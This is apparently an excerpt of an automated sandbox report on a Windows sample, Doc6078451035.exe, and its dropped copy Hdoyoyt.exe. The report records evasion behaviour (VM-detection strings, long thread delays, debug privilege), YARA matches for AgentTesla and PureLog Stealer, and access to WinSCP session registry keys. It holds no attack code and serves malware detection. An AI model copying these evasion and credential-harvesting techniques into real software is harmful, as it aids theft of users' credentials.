Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Doc6078451035.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98782	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98662	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98529	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98422	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98310	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98094	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 97985	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 97860	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 97735	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99233	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 99015	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98905	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99870	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99764	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98121	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97903	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97140	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97031	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96812	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96703	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96594	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96484	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96375	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96265	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96156	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96031	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 95909	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 95781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 95656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 95547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 95437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 95328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99315	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 97110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 96485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99889
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99782
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99657
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99532
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99407
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99297
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99188
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99063
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98938
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98813
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98688
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98578
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98469
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98344
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98234
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98125
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99891
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99766
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99657
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99532
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99422
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99313
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99188
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 99063
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98938
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98813
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98703
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98594
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98469
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98360
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98235
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 98110
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477

Source: Hdoyoyt.exe, 00000008.00000002.2867822595.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: Hdoyoyt.exe, 00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Hdoyoyt.exe, 00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: Doc6078451035.exe, 00000000.00000002.1964987190.0000000000742000.00000004.00000020.00020000.00000000.sdmp, Doc6078451035.exe, 00000004.00000002.2866868615.0000000001649000.00000004.00000020.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2445420330.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2516459612.00000000016EA000.00000004.00000020.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2867727522.000000000106B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Doc6078451035.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe	Process created: C:\Users\user\Desktop\Doc6078451035.exe "C:\Users\user\Desktop\Doc6078451035.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Users\user\Desktop\Doc6078451035.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Users\user\Desktop\Doc6078451035.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Users\user\AppData\Roaming\Hdoyoyt.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Users\user\AppData\Roaming\Hdoyoyt.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Users\user\AppData\Roaming\Hdoyoyt.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Users\user\AppData\Roaming\Hdoyoyt.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Doc6078451035.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Doc6078451035.exe.414ad28.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.506cc28.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.506cc28.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2871964064.000000000323B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2871964064.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2871964064.000000000324A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 2344, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Doc6078451035.exe.3670a40.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3899260.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.5cc0000.18.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.5cc0000.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3899260.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3670a40.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1973327299.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966878784.0000000003341000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Doc6078451035.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
